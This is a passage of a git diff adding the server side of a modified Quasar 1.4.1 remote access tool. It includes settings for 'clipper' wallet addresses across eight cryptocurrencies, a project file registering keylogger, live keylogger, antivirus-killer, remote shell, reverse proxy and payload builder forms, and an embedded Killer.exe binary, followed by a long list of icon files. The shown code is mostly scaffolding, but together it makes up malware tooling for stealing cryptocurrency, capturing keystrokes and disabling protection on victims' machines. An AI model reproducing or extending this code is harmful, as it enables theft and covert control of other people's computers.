System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Properties/Settings.Designer.cs b/Quasar-1.4.1/Quasar.Server/Properties/Settings.Designer.cs new file mode 100755 index 0000000..b4356af --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Properties/Settings.Designer.cs @@ -0,0 +1,122 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace Quasar.Server.Properties { + + + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.8.0.0")] + internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { + + private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); + + public static Settings Default { + get { + return defaultInstance; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("")] + public string ClipperBTC { + get { + return ((string)(this["ClipperBTC"])); + } + set { + this["ClipperBTC"] = value; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("")] + public string ClipperLTC { + get { + return ((string)(this["ClipperLTC"])); + } + set { + this["ClipperLTC"] = value; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("")] + public string ClipperETH { + get { + return ((string)(this["ClipperETH"])); + } + set { + this["ClipperETH"] = value; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("")] + public string ClipperXMR { + get { + return ((string)(this["ClipperXMR"])); + } + set { + this["ClipperXMR"] = value; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("")] + public string ClipperSOL { + get { + return ((string)(this["ClipperSOL"])); + } + set { + this["ClipperSOL"] = value; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("")] + public string ClipperXRP { + get { + return ((string)(this["ClipperXRP"])); + } + set { + this["ClipperXRP"] = value; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("")] + public string ClipperTRX { + get { + return ((string)(this["ClipperTRX"])); + } + set { + this["ClipperTRX"] = value; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("")] + public string ClipperBCH { + get { + return ((string)(this["ClipperBCH"])); + } + set { + this["ClipperBCH"] = value; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Properties/Settings.settings b/Quasar-1.4.1/Quasar.Server/Properties/Settings.settings new file mode 100755 index 0000000..2c89ef9 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Properties/Settings.settings @@ -0,0 +1,32 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Quasar-1.4.1/Quasar.Server/Quasar.Server.csproj b/Quasar-1.4.1/Quasar.Server/Quasar.Server.csproj new file mode 100755 index 0000000..c21a669 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Quasar.Server.csproj @@ -0,0 +1,337 @@ + + + net461 + WinExe + Quasar + true + false + true + + + Quasar.Server.Program + + + Images\Icons\Quasar_Server.ico + + + app.manifest + + + ..\bin\Debug\ + true + false + MinimumRecommendedRules.ruleset + + + ..\bin\Release\ + true + none + false + MinimumRecommendedRules.ruleset + + + + + + + + + + Component + + + Component + + + Component + + + Component + + + Component + + + Component + + + WordTextBox.cs + + + Form + + + FrmCertificate.cs + + + Form + + + FrmAbout.cs + + + Form + + + FrmStartupAdd.cs + + + Form + + + FrmBuilder.cs + + + Form + + + FrmConnections.cs + + + Form + + + FrmFileManager.cs + + + Form + + + FrmKeylogger.cs + + + Form + + + FrmMain.cs + + + Component + + + Form + + + FrmRegistryEditor.cs + + + Form + + + FrmRegValueEditBinary.cs + + + Form + + + FrmRegValueEditMultiString.cs + + + Form + + + FrmRegValueEditString.cs + + + Form + + + FrmRegValueEditWord.cs + + + Form + + + FrmRemoteDesktop.cs + + + Form + + + FrmRemoteShell.cs + + + Form + + + FrmReverseProxy.cs + + + Form + + + FrmSettings.cs + + + Form + + + FrmShowMessagebox.cs + + + Form + + + FrmStartupManager.cs + + + Form + + + FrmSystemInformation.cs + + + Form + + + FrmTaskManager.cs + + + Form + + + FrmVisitWebsite.cs + + + Form + + + FrmRemoteExecution.cs + + + Form + + + FrmLicense.cs + + + Form + + + FrmAVKiller.cs + + + Form + + + Form + + + FrmLiveKeylogger.cs + + + FrmAutoTasks.cs + + + FrmAbout.cs + + + FrmCertificate.cs + + + FrmStartupAdd.cs + + + FrmBuilder.cs + + + FrmConnections.cs + + + FrmFileManager.cs + + + FrmKeylogger.cs + + + FrmMain.cs + Designer + + + FrmRegistryEditor.cs + + + FrmRegValueEditBinary.cs + + + FrmRegValueEditMultiString.cs + + + FrmRegValueEditString.cs + + + FrmRegValueEditWord.cs + + + FrmRemoteDesktop.cs + Designer + + + FrmRemoteShell.cs + + + FrmReverseProxy.cs + + + FrmSettings.cs + + + FrmShowMessagebox.cs + + + FrmStartupManager.cs + + + FrmSystemInformation.cs + + + FrmTaskManager.cs + + + FrmVisitWebsite.cs + + + FrmRemoteExecution.cs + + + ResXFileCodeGenerator + Designer + Resources.Designer.cs + + + SettingsSingleFileGenerator + Settings.Designer.cs + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + + + + 0.11.4 + + + 5.6.0 + + + + + 2.4.8 + + + + 2.1.0 + + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Registry/RegValueHelper.cs b/Quasar-1.4.1/Quasar.Server/Registry/RegValueHelper.cs new file mode 100755 index 0000000..71110d9 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Registry/RegValueHelper.cs @@ -0,0 +1,44 @@ +using Microsoft.Win32; +using Quasar.Common.Models; +using Quasar.Common.Utilities; +using System; + +namespace Quasar.Server.Registry +{ + public class RegValueHelper + { + private static string DEFAULT_REG_VALUE = "(Default)"; + + public static bool IsDefaultValue(string valueName) + { + return String.IsNullOrEmpty(valueName); + } + + public static string GetName(string valueName) + { + return IsDefaultValue(valueName) ? DEFAULT_REG_VALUE : valueName; + } + + public static string RegistryValueToString(RegValueData value) + { + switch (value.Kind) + { + case RegistryValueKind.Binary: + return value.Data.Length > 0 ? BitConverter.ToString(value.Data).Replace("-", " ").ToLower() : "(zero-length binary value)"; + case RegistryValueKind.MultiString: + return string.Join(" ", ByteConverter.ToStringArray(value.Data)); + case RegistryValueKind.DWord: + var dword = ByteConverter.ToUInt32(value.Data); + return $"0x{dword:x8} ({dword})"; // show hexadecimal and decimal + case RegistryValueKind.QWord: + var qword = ByteConverter.ToUInt64(value.Data); + return $"0x{qword:x8} ({qword})"; // show hexadecimal and decimal + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + return ByteConverter.ToString(value.Data); + default: + return string.Empty; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Killer.exe b/Quasar-1.4.1/Quasar.Server/Resources/Killer.exe new file mode 100755 index 0000000..dadd04a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Killer.exe differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/accept.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/accept.png new file mode 100755 index 0000000..89c8129 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/accept.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/add.png new file mode 100755 index 0000000..6332fef Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/anchor.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/anchor.png new file mode 100755 index 0000000..9b3422c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/anchor.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application.png new file mode 100755 index 0000000..1dee9e3 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_add.png new file mode 100755 index 0000000..e091cbf Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_cascade.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_cascade.png new file mode 100755 index 0000000..da5c622 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_cascade.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_delete.png new file mode 100755 index 0000000..0a335ac Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_double.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_double.png new file mode 100755 index 0000000..647592f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_double.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_edit.png new file mode 100755 index 0000000..fb2efb8 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_error.png new file mode 100755 index 0000000..b35fa57 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_form.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_form.png new file mode 100755 index 0000000..807b862 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_form.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_form_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_form_add.png new file mode 100755 index 0000000..2fe42f7 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_form_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_form_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_form_delete.png new file mode 100755 index 0000000..f8977f7 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_form_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_form_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_form_edit.png new file mode 100755 index 0000000..af486c9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_form_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_form_magnify.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_form_magnify.png new file mode 100755 index 0000000..7b7fbd1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_form_magnify.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_get.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_get.png new file mode 100755 index 0000000..28e41ea Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_get.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_go.png new file mode 100755 index 0000000..5cc2b0d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_home.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_home.png new file mode 100755 index 0000000..b60d0c8 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_home.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_key.png new file mode 100755 index 0000000..998d65c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_key.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_lightning.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_lightning.png new file mode 100755 index 0000000..7e91545 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_lightning.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_link.png new file mode 100755 index 0000000..f8fbb3e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_osx.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_osx.png new file mode 100755 index 0000000..9f022ec Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_osx.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_osx_terminal.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_osx_terminal.png new file mode 100755 index 0000000..b3d8ce0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_osx_terminal.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_put.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_put.png new file mode 100755 index 0000000..c30cf59 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_put.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_side_boxes.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_side_boxes.png new file mode 100755 index 0000000..2adf79d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_side_boxes.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_side_contract.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_side_contract.png new file mode 100755 index 0000000..3585f94 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_side_contract.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_side_expand.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_side_expand.png new file mode 100755 index 0000000..030cf7c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_side_expand.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_side_list.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_side_list.png new file mode 100755 index 0000000..982ef10 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_side_list.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_side_tree.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_side_tree.png new file mode 100755 index 0000000..692eaa1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_side_tree.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_split.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_split.png new file mode 100755 index 0000000..a91c78a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_split.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_tile_horizontal.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_tile_horizontal.png new file mode 100755 index 0000000..8a1191c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_tile_horizontal.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_tile_vertical.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_tile_vertical.png new file mode 100755 index 0000000..1d40383 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_tile_vertical.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_columns.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_columns.png new file mode 100755 index 0000000..38774d8 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_columns.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_detail.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_detail.png new file mode 100755 index 0000000..0af360a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_detail.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_gallery.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_gallery.png new file mode 100755 index 0000000..851950d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_gallery.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_icons.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_icons.png new file mode 100755 index 0000000..d5e3572 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_icons.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_list.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_list.png new file mode 100755 index 0000000..acc30b8 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_list.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_tile.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_tile.png new file mode 100755 index 0000000..003d664 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_tile.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_xp.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_xp.png new file mode 100755 index 0000000..d22860a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_xp.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_xp_terminal.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_xp_terminal.png new file mode 100755 index 0000000..c28dd63 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_xp_terminal.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_branch.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_branch.png new file mode 100755 index 0000000..7542db1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_branch.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_divide.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_divide.png new file mode 100755 index 0000000..61a7b1d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_divide.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_down.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_down.png new file mode 100755 index 0000000..2c4e279 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_down.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_in.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_in.png new file mode 100755 index 0000000..e62feaf Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_in.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_inout.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_inout.png new file mode 100755 index 0000000..1b76367 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_inout.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_join.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_join.png new file mode 100755 index 0000000..a128413 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_join.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_left.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_left.png new file mode 100755 index 0000000..0f58984 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_left.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_merge.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_merge.png new file mode 100755 index 0000000..7502dbb Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_merge.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_out.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_out.png new file mode 100755 index 0000000..2e9bc42 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_out.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_redo.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_redo.png new file mode 100755 index 0000000..fdc394c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_redo.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_refresh.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_refresh.png new file mode 100755 index 0000000..0de2656 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_refresh.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_refresh_small.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_refresh_small.png new file mode 100755 index 0000000..1bdbd5a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_refresh_small.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_right.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_right.png new file mode 100755 index 0000000..bc153c8 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_right.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_rotate_anticlockwise.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_rotate_anticlockwise.png new file mode 100755 index 0000000..b9f27cd Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_rotate_anticlockwise.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_rotate_clockwise.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_rotate_clockwise.png new file mode 100755 index 0000000..f6fb111 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_rotate_clockwise.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_switch.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_switch.png new file mode 100755 index 0000000..258c16c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_switch.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_turn_left.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_turn_left.png new file mode 100755 index 0000000..83328d9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_turn_left.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_turn_right.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_turn_right.png new file mode 100755 index 0000000..629f20d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_turn_right.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_undo.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_undo.png new file mode 100755 index 0000000..6972c5e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_undo.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_up.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_up.png new file mode 100755 index 0000000..1ebb193 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_up.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/asterisk_orange.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/asterisk_orange.png new file mode 100755 index 0000000..1ebebde Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/asterisk_orange.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/asterisk_yellow.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/asterisk_yellow.png new file mode 100755 index 0000000..bab7cc9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/asterisk_yellow.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/attach.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/attach.png new file mode 100755 index 0000000..96c0bca Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/attach.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_add.png new file mode 100755 index 0000000..9c4be9b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_bronze_1.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_bronze_1.png new file mode 100755 index 0000000..658c711 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_bronze_1.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_bronze_2.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_bronze_2.png new file mode 100755 index 0000000..e47babd Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_bronze_2.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_bronze_3.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_bronze_3.png new file mode 100755 index 0000000..396e4b3 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_bronze_3.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_delete.png new file mode 100755 index 0000000..4721b15 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_gold_1.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_gold_1.png new file mode 100755 index 0000000..97a22b7 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_gold_1.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_gold_2.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_gold_2.png new file mode 100755 index 0000000..0eaa571 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_gold_2.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_gold_3.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_gold_3.png new file mode 100755 index 0000000..124c991 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_gold_3.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_silver_1.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_silver_1.png new file mode 100755 index 0000000..028a546 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_silver_1.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_silver_2.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_silver_2.png new file mode 100755 index 0000000..e487c3a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_silver_2.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_silver_3.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_silver_3.png new file mode 100755 index 0000000..1d72d47 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_silver_3.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/basket.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/basket.png new file mode 100755 index 0000000..b0686d7 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/basket.png differ diff --git 